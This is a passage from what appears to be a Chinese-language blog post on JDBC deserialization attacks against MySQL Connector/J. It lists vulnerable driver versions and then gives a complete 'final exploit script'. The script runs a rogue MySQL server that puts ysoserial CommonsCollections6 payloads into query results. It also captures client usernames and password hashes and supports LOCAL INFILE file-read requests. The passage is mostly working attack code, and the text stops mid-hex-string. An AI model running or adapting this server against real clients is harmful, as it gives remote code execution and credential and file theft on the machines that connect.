    0x69, 0x0e, 0x53, 0x45, 0x54, 0x20, 0x4e, 0x41, 
    0x4d, 0x45, 0x53, 0x20, 0x75, 0x74, 0x66, 0x38, 
    0x03, 0x31, 0x32, 0x30, 0x03, 0x47, 0x50, 0x4c, 
    0x01, 0x31, 0x08, 0x31, 0x36, 0x37, 0x37, 0x37, 
    0x32, 0x31, 0x36, 0x02, 0x36, 0x30, 0x07, 0x31, 
    0x30, 0x34, 0x38, 0x35, 0x37, 0x36, 0x03, 0x4f, 
    0x46, 0x46, 0x89, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 
    0x46, 0x55, 0x4c, 0x4c, 0x5f, 0x47, 0x52, 0x4f, 
    0x55, 0x50, 0x5f, 0x42, 0x59, 0x2c, 0x53, 0x54, 
    0x52, 0x49, 0x43, 0x54, 0x5f, 0x54, 0x52, 0x41, 
    0x4e, 0x53, 0x5f, 0x54, 0x41, 0x42, 0x4c, 0x45, 
    0x53, 0x2c, 0x4e, 0x4f, 0x5f, 0x5a, 0x45, 0x52, 
    0x4f, 0x5f, 0x49, 0x4e, 0x5f, 0x44, 0x41, 0x54, 
    0x45, 0x2c, 0x4e, 0x4f, 0x5f, 0x5a, 0x45, 0x52, 
    0x4f, 0x5f, 0x44, 0x41, 0x54, 0x45, 0x2c, 0x45, 
    0x52, 0x52, 0x4f, 0x52, 0x5f, 0x46, 0x4f, 0x52, 
    0x5f, 0x44, 0x49, 0x56, 0x49, 0x53, 0x49, 0x4f, 
    0x4e, 0x5f, 0x42, 0x59, 0x5f, 0x5a, 0x45, 0x52, 
    0x4f, 0x2c, 0x4e, 0x4f, 0x5f, 0x41, 0x55, 0x54 ];
    part3= [
    0x4f, 0x5f, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 
    0x5f, 0x55, 0x53, 0x45, 0x52, 0x2c, 0x4e, 0x4f, 
    0x5f, 0x45, 0x4e, 0x47, 0x49, 0x4e, 0x45, 0x5f, 
    0x53, 0x55, 0x42, 0x53, 0x54, 0x49, 0x54, 0x55, 
    0x54, 0x49, 0x4f, 0x4e, 0x12, 0xe4, 0xb8, 0xad, 
    0xe5, 0x9b, 0xbd, 0xe6, 0xa0, 0x87, 0xe5, 0x87, 
    0x86, 0xe6, 0x97, 0xb6, 0xe9, 0x97, 0xb4, 0x06, 
    0x2b, 0x30, 0x38, 0x3a, 0x30, 0x30, 0x0f, 0x52, 
    0x45, 0x50, 0x45, 0x41, 0x54, 0x41, 0x42, 0x4c, 
    0x45, 0x2d, 0x52, 0x45, 0x41, 0x44, 0x03, 0x31, 
    0x32, 0x30, 0x07, 0x00, 0x00, 0x17, 0xfe, 0x00, 
    0x00, 0x02, 0x00, 0x00, 0x00 ]
    join_part = bytes(part1+part2+part3)
    return  join_part


if __name__ == "__main__":
    start_server(3306,"unableUse",["java8","-jar","./ysoserial.jar","CommonsCollections6","calc"])

image-20250110110750862

JDBC反序列化攻击的议题在2019年12月在blackhat公开。

此时最新版本的mysql驱动版本为8.0.18

在2020-04-27发布的 8.0.20版本中已经宣布: Connector/J 8.0.20 中不再使用 ResultSetUtil 类中的方法;因此该类已被删除.

getObject变成了getString

image-20250110123103747

也就是说queryInterceptors的利用范围在8.0.7~8.0.19

详细版本信息如下

image-20250110151305264

detectCustomCollations

image-20250110125233424

驱动程序是否应检测服务器上安装的自定义字符集/校对?如果该选项设置为 “true”,驱动程序将在每次建立连接时从服务器获取实际字符集/校对。这会大大降低连接初始化速度。

com.mysql.jdbc.ConnectionImpl#buildCollationMapping会读取第三个字段的内容进行反序列化

image-20250110125110772

detectCustomCollations=true时也会触发反序列化。

对于detectCustomCollations在mysql5.1.29~5.1.48都存在该漏洞,在漏洞披露后的最新版本也是5.1.x的最后一个版本5.1.49中进行了修复。

在之前的脚本上再做兼容,我们得到最后的利用脚本

import socket
from concurrent.futures import ThreadPoolExecutor
import threading
import time
import struct
from enum import Enum
import subprocess
import random


class FieldType(Enum):
  MYSQL_TYPE_DECIMAL = 0,
  MYSQL_TYPE_TINY = 1,
  MYSQL_TYPE_SHORT = 2,
  MYSQL_TYPE_LONG = 3,
  MYSQL_TYPE_FLOAT = 4,
  MYSQL_TYPE_DOUBLE = 5,
  MYSQL_TYPE_NULL = 6,
  MYSQL_TYPE_TIMESTAMP = 7,
  MYSQL_TYPE_LONGLONG = 8,
  MYSQL_TYPE_INT24 = 9,
  MYSQL_TYPE_DATE = 10,
  MYSQL_TYPE_TIME = 11,
  MYSQL_TYPE_DATETIME = 12,
  MYSQL_TYPE_YEAR = 13,
  MYSQL_TYPE_NEWDATE = 14,
  MYSQL_TYPE_VARCHAR = 15,
  MYSQL_TYPE_BIT = 16,
  MYSQL_TYPE_TIMESTAMP2 = 17,
  MYSQL_TYPE_DATETIME2 = 18,
  MYSQL_TYPE_TIME2 = 19,
  MYSQL_TYPE_TYPED_ARRAY = 20,
  MYSQL_TYPE_VECTOR = 242,
  MYSQL_TYPE_INVALID = 243,
  MYSQL_TYPE_BOOL = 244,
  MYSQL_TYPE_JSON = 245,
  MYSQL_TYPE_NEWDECIMAL = 246,
  MYSQL_TYPE_ENUM = 247,
  MYSQL_TYPE_SET = 248,
  MYSQL_TYPE_TINY_BLOB = 249,
  MYSQL_TYPE_MEDIUM_BLOB = 250,
  MYSQL_TYPE_LONG_BLOB = 251,
  MYSQL_TYPE_BLOB = 252,
  MYSQL_TYPE_VAR_STRING = 253,
  MYSQL_TYPE_STRING = 254,
  MYSQL_TYPE_GEOMETRY = 255

class QueryType(Enum):
    SLEEP = b"\x00"
    QUIT = b"\x01"
    INIT_DB = b"\x02"
    QUERY = b"\x03"
    FIELD_LIST = b"\x04"
    CREATE_DB = b"\x05"
    DROP_DB = b"\x06"
    REFRESH = b"\x07"
    SHUTDOWN = b"\x08"
    STATISTICS = b"\x09"
    PROCESS_INFO = b"\x0a"
    CONNECT = b"\x0b"
    PROCESS_KILL = b"\x0c"
    DEBUG = b"\x0d"
    PING = b"\x0e"
    TIME = b"\x0f"
    DELAYED_INSERT = b"\x10"
    CHANGE_USER = b"\x11"
    BINLOG_DUMP = b"\x12"
    TABLE_DUMP = b"\x13"
    CONNECT_OUT = b"\x14"
    REGISTER_SLAVE = b"\x15"
    STMT_PREPARE = b"\x16"
    STMT_EXECUTE = b"\x17"
    STMT_SEND_LONG_DATA = b"\x18"
    STMT_CLOSE = b"\x19"
    STMT_RESET = b"\x1a"
    SET_OPTION = b"\x1b"
    STMT_FETCH = b"\x1c"
    DAEMON = b"\x1d"
    BINLOG_DUMP_GTID = b"\x1e"
    RESET_CONNECTION = b"\x1f"

class ColorOutput:
    """颜色输出类,用于输出不同颜色的提示信息"""
    # 前景色
    FG_BLACK = "\033[30m"
    FG_RED = "\033[31m"
    FG_GREEN = "\033[32m"
    FG_YELLOW = "\033[33m"
    FG_BLUE = "\033[34m"
    FG_MAGENTA = "\033[35m"
    FG_CYAN = "\033[36m"
    FG_WHITE = "\033[37m"



    # 样式
    RESET = "\033[0m"
    BOLD = "\033[1m"

    @staticmethod
    def success(text):
        """成功信息-绿色"""
        return f"{ColorOutput.FG_GREEN}[SUCCESS]: {text}{ColorOutput.RESET}"

    @staticmethod
    def warning(text):
        """警告信息-黄色"""
        return f"{ColorOutput.FG_YELLOW}[WARNING]: {text}{ColorOutput.RESET}"

    @staticmethod
    def error(text):
        """错误信息-红色"""
        return f"{ColorOutput.FG_RED}[ERROR]: {text}{ColorOutput.RESET}"

    @staticmethod
    def info(text):
        """普通信息-蓝色"""
        return f"{ColorOutput.FG_BLUE}[INFO]: {text}{ColorOutput.RESET}"

    @staticmethod
    def debug(text):
        """调试信息-紫色"""
        return f"{ColorOutput.FG_MAGENTA}[DEBUG]: {text}{ColorOutput.RESET}"

class Greeting:
    def __init__(self):
        self.package_length = b"\x4a\x00\x00"
        self.packet_id = b"\x00"
        self.protocol_version = b"\x0a"
        self.server_version = b"5.7.26\x00"
        self.connection_id = b"\x06\x00\x00\x00"
        self.auth_plugin_data = b"\xff"*8 + b"\x00"
        self.capability_flags = b"\xff\xf7"
        self.character_set = b"\xc0"
        self.status_flags = b"\x02\x00"
        self.capability_flags_2 = b"\xff\x81"
        self.auth_plugin_data_len = b"\x15"
        self.reserved = b"\x00"*10
        self.auth_plugin_data_part_2 = b"\xff"*12 + b"\x00"
        self.auth_plugin_name = b"mysql_native_password\x00"
    def to_bytes(self):
        return b"".join([
            self.package_length,
            self.packet_id,
            self.protocol_version,
            self.server_version,
            self.connection_id,
            self.auth_plugin_data,
            self.capability_flags,
            self.character_set,
            self.status_flags,
            self.capability_flags_2,
            self.auth_plugin_data_len,
            self.reserved,
            self.auth_plugin_data_part_2,
            self.auth_plugin_name
        ])

class Local_INFILE_Request:
    def __init__(self,filename):
        self.packet_id = b"\x01"
        self.response_code = b"\xfb"
        self.filename = filename.encode()
        self.res = b"".join([self.response_code,self.filename])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body

class Auth_Response:
    def __init__(self):
        self.packet_id = b"\x02"
        self.response_code = b"\x00"  # OK
        self.affected_rows = b"\x00\x00"
        self.server_status_flags = b"\x02\x00"
        self.warning_count = b"\x00\x00"
        self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body

class OK_ID_Packet:
    def __init__(self,id):
        self.packet_id = id.to_bytes(1,"little")
        self.response_code = b"\x00"  # OK
        self.affected_rows = b"\x00\x00"
        self.server_status_flags = b"\x02\x00"
        self.warning_count = b"\x00\x00"
        self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body
class EOF_ID_Packet:
    def __init__(self,id):
        self.packet_id = id.to_bytes(1,"little")
        self.response_code = b"\xfe"  # OK
        self.server_status_flags = b"\x02\x00"
        self.warning_count = b"\x00\x00"
        self.res = b"".join([self.response_code,self.warning_count,self.server_status_flags])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body
    
class TextResultSet_Response:
    def __init__(self):
        pass
    def to_bytes(self,data,len,column_count):
        id = 1
        column_packet = Column_Count_Packet(column_count).to_bytes()
        id+=1

        filed_list = []
        for i in range(column_count):
            if i ==column_count-1:
                filed_list.append(Field_Packet(len,id).to_bytes())
            else:
                filed_list.append(Field_Packet(3,id).to_bytes())
            id+=1
        row_packet = Row_Packet(id,data,column_count).to_bytes()
        # for i in range(column_count):
        #     if i==column_count-1:
        #         row_list.append(Row_Packet(id,data).to_bytes())
        #     else:
        #         row_list.append(Row_Packet(id,bytes(random.randint(0x20, 0x7E) for _ in range(3))).to_bytes())
        #     id+=1
        filed_packets = b"".join(filed_list)
        eof_packet = EOF_ID_Packet(id).to_bytes()
        return b"".join([column_packet,filed_packets,row_packet,eof_packet])
        
class Column_Count_Packet():
    def __init__(self,count:int):
       self.count = count
    def to_bytes(self):
        if self.count < 0xff:
            return b"\x01\x00\x00\x01" + self.count.to_bytes(1,"little")
        else:
            return b"\x01\x00\x00\x01\xff"
        

class Field_Packet():
    def __init__(self,len,id):
        self.packet_number = id.to_bytes(1,"little")
        self.catalog = self.setProperties(b"\x64\x65\x66")
        self.schema = b"\x00" # 数据库名   
        self.table = self.setProperties(b"\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73") # 表名
        self.org_table = self.setProperties(b"\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73") # 原始表名
        name = bytes(random.randint(0x61, 0x7A) for _ in range(3))
        self.name = self.setProperties(name) # 字段名
        self.org_name = self.setProperties(name) # 原始字段名
        self.const_char = b"\x0c" # 常量字符    
        self.character_set = b"\x3f\x00" # 字符集
        self.field_length = len.to_bytes(4,"little") # 最大长度
        print(self.field_length)
        print(FieldType.MYSQL_TYPE_BLOB.value)
        self.type = FieldType.MYSQL_TYPE_BLOB.value[0].to_bytes(1,"little") # 字段类型
        self.flags = b"\xff\xff" # 标志
        self.decimals = b"\x00" # 小数位数
        self.filler = b"\x00"*2 # 填充
        print(ColorOutput.success(str("初始化完毕:"+str(self.field_length))),flush=True)
    def to_bytes(self):
        p =  b"".join([self.catalog,self.schema,self.table,self.org_table,self.name,self.org_name,self.const_char,self.character_set,self.field_length,self.type,self.flags,self.decimals,self.filler])
        p_len = len(p).to_bytes(3,"little")
        return b"".join([p_len,self.packet_number,p])
    def setProperties(self,data):
        data_len = len(data).to_bytes(1,byteorder="little")
        data = b"".join([data_len,data])
        print(ColorOutput.success(str("拼接成功:"+str(data_len))),flush=True)
        return data
    
class Row_Packet():
    def __init__(self,packet_number,data,num):
        self.packet_number = packet_number.to_bytes(1,"little")
        self.value = data
        self.num = num
    def getSimpleRow(self):
        row_list = []
        for i in range(self.num-1):
            row_list.append(b"".join([b"\x03",bytes(random.randint(0x61, 0x7A) for _ in range(3))]))
        return  b"".join(row_list)
    def to_bytes(self):
        if len(self.value) <= 0xff: 
            self.value_len = len(self.value).to_bytes(1,"little")
            self.content = b"".join([self.value_len,self.value])
            self.len = len(self.content).to_bytes(3,"little")
            return b"".join([self.len,self.packet_number,self.content])
        elif len(self.value) <= 0xffff:
            self.value_len = len(self.value).to_bytes(2,"little")
            self.content = b"".join([self.getSimpleRow(),b"\xfc",self.value_len,self.value])
            self.len = len(self.content).to_bytes(3,"little")
            return b"".join([self.len,self.packet_number,self.content])
        else:
            self.value_len = len(self.value).to_bytes(4,"little")
            self.content = b"".join([self.value_len,self.value])
            self.len = len(self.content).to_bytes(3,"little")
            return b"".join([self.len,self.packet_number,self.content])
    

def get_bits(hex_value):
    # 将16进制字符串转换为整数
    num = int(hex_value, 16)
    # 获取该数的二进制表示(去掉前缀 '0b')
    bin_representation = bin(num)[2:].zfill(4)  # 使用zfill补齐
    # 返回每一位的比特值
    bits = [int(bit) for bit in bin_representation]
    return bits



def Greeting_Response_Prase(data):
    print(ColorOutput.info(str("收到认证包:"+str(data))),flush=True)

    cpos =0
    client_capability_flags = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
    print(ColorOutput.info(str("客户端能力标志:"+str(client_capability_flags))),flush=True)
    # print(get_bits(client_capability_flags[-1]))
    haveTable = True if get_bits(client_capability_flags[-1])[::-1][3]==1 else False
    cpos += 2
    extended_client_capabilities = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
    print(ColorOutput.info(str("扩展客户端能力标志:"+str(extended_client_capabilities))),flush=True)
    cpos += 2
    max_packet_size = struct.unpack("<I",data[cpos:cpos+4])[0]
    print(ColorOutput.info(str("最大包大小:"+str(max_packet_size))),flush=True)

    cpos += 4
    character_set = struct.unpack("<B",data[cpos:cpos+1])[0]
    print(ColorOutput.info(str("字符集:"+str(character_set))),flush=True)

    cpos += 1
    client_reserved = struct.unpack("<23s",data[cpos:cpos+23])[0]
    print(ColorOutput.info(str("客户端保留:"+str(client_reserved))),flush=True)

    cpos += 23
    data = data[cpos:]
    null_pos = data.find(b"\x00")
    print(ColorOutput.success(str("客户端用户名: "+str(data[:null_pos].decode("utf-8")))),flush=True)

    ccpos = 0
    ccpos += null_pos + 1
    client_password_hash_len = struct.unpack("<B",data[ccpos:ccpos+1])[0]
    print(ColorOutput.info(str("客户端密码哈希长度: "+str(client_password_hash_len))),flush=True)

    ccpos += 1
    client_password_hash = data[ccpos:ccpos+client_password_hash_len].hex()
    print(ColorOutput.success(str("客户端密码哈希: "+str(client_password_hash))),flush=True)
    ccpos += client_password_hash_len
    data = data[ccpos:]
    if haveTable:
        client_table_name_len = data.find(b"\x00")
        client_table_name = data[:client_table_name_len].decode("utf-8")
        print(ColorOutput.success(str("客户端表名: "+str(client_table_name))),flush=True)
        ccpos = client_table_name_len + 1
        data = data[ccpos:]


    client_auth_plugin_name_len  = data.find(b"\x00")
    client_auth_plugin_name = data[:client_auth_plugin_name_len].decode("utf-8")
    print(ColorOutput.success(str("客户端认证插件名称: "+str(client_auth_plugin_name))),flush=True)
    cccpos = client_auth_plugin_name_len +1
    client_connection_attributes_len =  struct.unpack("<B",data[cccpos:cccpos+1])[0]
    print(ColorOutput.info(str("客户端连接属性长度: "+str(client_connection_attributes_len))),flush=True)
    cccpos += 1
    client_connection_attributes = data[cccpos:]
    arrtibute_prase(client_connection_attributes,client_connection_attributes_len)

def arrtibute_prase(data,length):
    cpos = 0
    while cpos < length:
        attribute_length = struct.unpack("<B",data[cpos:cpos+1])[0]
        cpos += 1
        attribute_value = data[cpos:cpos+attribute_length]
        print(ColorOutput.info(str(attribute_value.decode("utf-8"))),flush=True)
        cpos += attribute_length

def quert_prase(data):
    query_type = data[0:1]
    if query_type == QueryType.SLEEP.value:
        print(ColorOutput.info(f"查询类型: SLEEP,查询语句 {data[1:]}"), flush=True)
    elif query_type == QueryType.QUIT.value:
        print(ColorOutput.info("查询类型: QUIT"), flush=True)
    elif query_type == QueryType.INIT_DB.value:
        print(ColorOutput.info("查询类型: INIT_DB"), flush=True)
    elif query_type == QueryType.QUERY.value:
        print(ColorOutput.info(f"查询类型: QUERY,查询语句 {data[1:]}"), flush=True)
    elif query_type == QueryType.FIELD_LIST.value:
        print(ColorOutput.info("查询类型: FIELD_LIST"), flush=True)
    elif query_type == QueryType.CREATE_DB.value:
        print(ColorOutput.info("查询类型: CREATE_DB"), flush=True)
    elif query_type == QueryType.DROP_DB.value:
        print(ColorOutput.info("查询类型: DROP_DB"), flush=True)
    elif query_type == QueryType.REFRESH.value:
        print(ColorOutput.info("查询类型: REFRESH"), flush=True)
    elif query_type == QueryType.SHUTDOWN.value:
        print(ColorOutput.info("查询类型: SHUTDOWN"), flush=True)
    elif query_type == QueryType.STATISTICS.value:
        print(ColorOutput.info("查询类型: STATISTICS"), flush=True)
    elif query_type == QueryType.PROCESS_INFO.value:
        print(ColorOutput.info("查询类型: PROCESS_INFO"), flush=True)
    elif query_type == QueryType.CONNECT.value:
        print(ColorOutput.info("查询类型: CONNECT"), flush=True)
    elif query_type == QueryType.PROCESS_KILL.value:
        print(ColorOutput.info("查询类型: PROCESS_KILL"), flush=True)
    elif query_type == QueryType.DEBUG.value:
        print(ColorOutput.info("查询类型: DEBUG"), flush=True)
    elif query_type == QueryType.PING.value:
        print(ColorOutput.info("查询类型: PING"), flush=True)
    elif query_type == QueryType.TIME.value:
        print(ColorOutput.info("查询类型: TIME"), flush=True)
    elif query_type == QueryType.DELAYED_INSERT.value:
        print(ColorOutput.info("查询类型: DELAYED_INSERT"), flush=True)
    elif query_type == QueryType.CHANGE_USER.value:
        print(ColorOutput.info("查询类型: CHANGE_USER"), flush=True)
    elif query_type == QueryType.BINLOG_DUMP.value:
        print(ColorOutput.info("查询类型: BINLOG_DUMP"), flush=True)
    elif query_type == QueryType.TABLE_DUMP.value:
        print(ColorOutput.info("查询类型: TABLE_DUMP"), flush=True)
    elif query_type == QueryType.CONNECT_OUT.value:
        print(ColorOutput.info("查询类型: CONNECT_OUT"), flush=True)
    elif query_type == QueryType.REGISTER_SLAVE.value:
        print(ColorOutput.info("查询类型: REGISTER_SLAVE"), flush=True)
    elif query_type == QueryType.STMT_PREPARE.value:
        print(ColorOutput.info("查询类型: STMT_PREPARE"), flush=True)
    elif query_type == QueryType.STMT_EXECUTE.value:
        print(ColorOutput.info("查询类型: STMT_EXECUTE"), flush=True)
    elif query_type == QueryType.STMT_SEND_LONG_DATA.value:
        print(ColorOutput.info("查询类型: STMT_SEND_LONG_DATA"), flush=True)
    elif query_type == QueryType.STMT_CLOSE.value:
        print(ColorOutput.info("查询类型: STMT_CLOSE"), flush=True)
    elif query_type == QueryType.STMT_RESET.value:
        print(ColorOutput.info("查询类型: STMT_RESET"), flush=True)
    elif query_type == QueryType.SET_OPTION.value:
        print(ColorOutput.info("查询类型: SET_OPTION"), flush=True)
    elif query_type == QueryType.STMT_FETCH.value:
        print(ColorOutput.info("查询类型: STMT_FETCH"), flush=True)
    elif query_type == QueryType.DAEMON.value:
        print(ColorOutput.info("查询类型: DAEMON"), flush=True)
    elif query_type == QueryType.BINLOG_DUMP_GTID.value:
        print(ColorOutput.info("查询类型: BINLOG_DUMP_GTID"), flush=True)
    elif query_type == QueryType.RESET_CONNECTION.value:
        print(ColorOutput.info("查询类型: RESET_CONNECTION"), flush=True)
    else:
        print(ColorOutput.error("未知的查询类型"), flush=True)
    if data[1:] == b"SHOW SESSION STATUS":
        print(ColorOutput.warning("查询类型: SHOW SESSION STATUS"), flush=True)
        return 0x01
    elif data[1:] == b"SHOW COLLATION":
        print(ColorOutput.warning("查询类型: SHOW COLLATION"), flush=True)
        return 0x02
    return False

def read_mysql_packet(sock):
    """读取一个完整的 MySQL 数据包"""
    # 读取包头(4字节)
    header = sock.recv(4)
    if not header or len(header) < 4:
        return None

    # 前3字节是包长度(小端序)
    packet_length = int.from_bytes(header[:3], byteorder='little')
    print(ColorOutput.info(str("请求包长度:"+str(packet_length))))
    # 第4字节是序列号
    sequence_id = header[3]

    # 读取包体
    packet_body = b""
    remaining = packet_length
    while remaining > 0:
        chunk = sock.recv(remaining)
        if not chunk:
            return None
        packet_body += chunk
        remaining -= len(chunk)

    return packet_body

def handle_client(client_socket,filename,payload):
    try:
        client_socket.sendall(Greeting().to_bytes())

        # 读取客户端的认证响应包
        auth_response = read_mysql_packet(client_socket)
        if auth_response:
            try:
                Greeting_Response_Prase(auth_response)
            except Exception as e:
                print(ColorOutput.error(str("解析认证包时出错: "+str(e))),flush=True)
            #认证成功
            client_socket.sendall(Auth_Response().to_bytes())
            payload = subprocess.Popen(payload,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE).stdout.read()
            #第一次请求  获取系统变量

            file_data = read_mysql_packet(client_socket)
            quert_prase(file_data)
            client_socket.sendall(get_var_data())

            #第二次请求
            res = read_mysql_packet(client_socket)
            if quert_prase(res):
                client_socket.sendall(b"".join([TextResultSet_Response().to_bytes(payload,len(payload),3)]))
            else:
                client_socket.sendall(OK_ID_Packet(1).to_bytes())

            #第三次请求
            res = read_mysql_packet(client_socket)
            quert_prase(res)
            client_socket.sendall(get_commit_data())

            #第四次请求
            res = read_mysql_packet(client_socket)
            quert_prase(res)
            client_socket.sendall(b"".join([TextResultSet_Response().to_bytes(payload,len(payload),2)]))

            res = read_mysql_packet(client_socket)
            quert_prase(res)
            client_socket.sendall(OK_ID_Packet(1).to_bytes())

            #第六次请求
            while True:
                res = read_mysql_packet(client_socket)
                quert_prase(res)
                client_socket.sendall(get_status_data())


    except Exception as e:
        print(ColorOutput.error(str("处理客户端请求时出错: "+str(e))),flush=True)
    finally:
        client_socket.close()

def client_handler(server,filename,payload):
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            try:
                client_socket, addr = server.accept()
                executor.submit(handle_client, client_socket,filename,payload)
            except Exception as e:
                print(e)
                # 当server socket被关闭时,退出循环
                break
        

def start_server(port,filename,payload):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(("0.0.0.0", port))
    server.listen(5)
    print("Server listening on port 3306")

    handler_thread = threading.Thread(target=client_handler, args=(server,filename,payload))
    handler_thread.daemon = True
    handler_thread.start()

    try:
        while True:
            time.sleep(10)
            # print("Server is running")
    except KeyboardInterrupt:
        print("\nCtrl+C pressed")
        server.close()
        print("Server shutting down")
def get_status_data():
    return b"\x01\x00\x00\x01\x02\x4c\x00\x00\x02\x03\x64\x65\x66\x00\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0d\x56\x61\x72\x69\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x0d\x56\x61\x72\x69\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x0c\x21\x00\xc0\x00\x00\x00\xfd\x01\x10\x00\x00\x00\x3c\x00\x00\x03\x03\x64\x65\x66\x00\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x05\x56\x61\x6c\x75\x65\x05\x56\x61\x6c\x75\x65\x0c\x21\x00\x00\x0c\x00\x00\xfd\x00\x00\x00\x00\x00\x12\x00\x00\x04\x0f\x41\x62\x6f\x72\x74\x65\x64\x5f\x63\x6c\x69\x65\x6e\x74\x73\x01\x30\x13\x00\x00\x05\x10\x41\x62\x6f\x72\x74\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x18\x00\x00\x06\x15\x42\x69\x6e\x6c\x6f\x67\x5f\x63\x61\x63\x68\x65\x5f\x64\x69\x73\x6b\x5f\x75\x73\x65\x01\x30\x13\x00\x00\x07\x10\x42\x69\x6e\x6c\x6f\x67\x5f\x63\x61\x63\x68\x65\x5f\x75\x73\x65\x01\x30\x1d\x00\x00\x08\x1a\x42\x69\x6e\x6c\x6f\x67\x5f\x73\x74\x6d\x74\x5f\x63\x61\x63\x68\x65\x5f\x64\x69\x73\x6b\x5f\x75\x73\x65\x01\x30\x18\x00\x00\x09\x15\x42\x69\x6e\x6c\x6f\x67\x5f\x73\x74\x6d\x74\x5f\x63\x61\x63\x68\x65\x5f\x75\x73\x65\x01\x30\x14\x00\x00\x0a\x0e\x42\x79\x74\x65\x73\x5f\x72\x65\x63\x65\x69\x76\x65\x64\x04\x31\x33\x32\x39\x11\x00\x00\x0b\x0a\x42\x79\x74\x65\x73\x5f\x73\x65\x6e\x74\x05\x31\x31\x34\x38\x34\x15\x00\x00\x0c\x12\x43\x6f\x6d\x5f\x61\x64\x6d\x69\x6e\x5f\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x01\x30\x19\x00\x00\x0d\x16\x43\x6f\x6d\x5f\x61\x73\x73\x69\x67\x6e\x5f\x74\x6f\x5f\x6b\x65\x79\x63\x61\x63\x68\x65\x01\x30\x0f\x00\x00\x0e\x0c\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x64\x62\x01\x30\x17\x00\x00\x0f\x14\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x64\x62\x5f\x75\x70\x67\x72\x61\x64\x65\x01\x30\x12\x00\x00\x10\x0f\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x65\x76\x65\x6e\x74\x01\x30\x15\x00\x00\x11\x12\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x15\x00\x00\x12\x12\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x01\x30\x16\x00\x00\x13\x13\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x13\x00\x00\x14\x10\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x12\x00\x00\x15\x0f\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x74\x61\x62\x6c\x65\x01\x30\x17\x00\x00\x16\x14\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x74\x61\x62\x6c\x65\x73\x70\x61\x63\x65\x01\x30\x11\x00\x00\x17\x0e\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x75\x73\x65\x72\x01\x30\x0e\x00\x00\x18\x0b\x43\x6f\x6d\x5f\x61\x6e\x61\x6c\x79\x7a\x65\x01\x30\x0c\x00\x00\x19\x09\x43\x6f\x6d\x5f\x62\x65\x67\x69\x6e\x01\x30\x0d\x00\x00\x1a\x0a\x43\x6f\x6d\x5f\x62\x69\x6e\x6c\x6f\x67\x01\x30\x15\x00\x00\x1b\x12\x43\x6f\x6d\x5f\x63\x61\x6c\x6c\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x10\x00\x00\x1c\x0d\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x64\x62\x01\x30\x14\x00\x00\x1d\x11\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x6d\x61\x73\x74\x65\x72\x01\x30\x19\x00\x00\x1e\x16\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x72\x65\x70\x6c\x5f\x66\x69\x6c\x74\x65\x72\x01\x30\x0c\x00\x00\x1f\x09\x43\x6f\x6d\x5f\x63\x68\x65\x63\x6b\x01\x30\x0f\x00\x00\x20\x0c\x43\x6f\x6d\x5f\x63\x68\x65\x63\x6b\x73\x75\x6d\x01\x30\x0d\x00\x00\x21\x0a\x43\x6f\x6d\x5f\x63\x6f\x6d\x6d\x69\x74\x01\x30\x10\x00\x00\x22\x0d\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x64\x62\x01\x30\x13\x00\x00\x23\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x65\x76\x65\x6e\x74\x01\x30\x16\x00\x00\x24\x13\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x13\x00\x00\x25\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x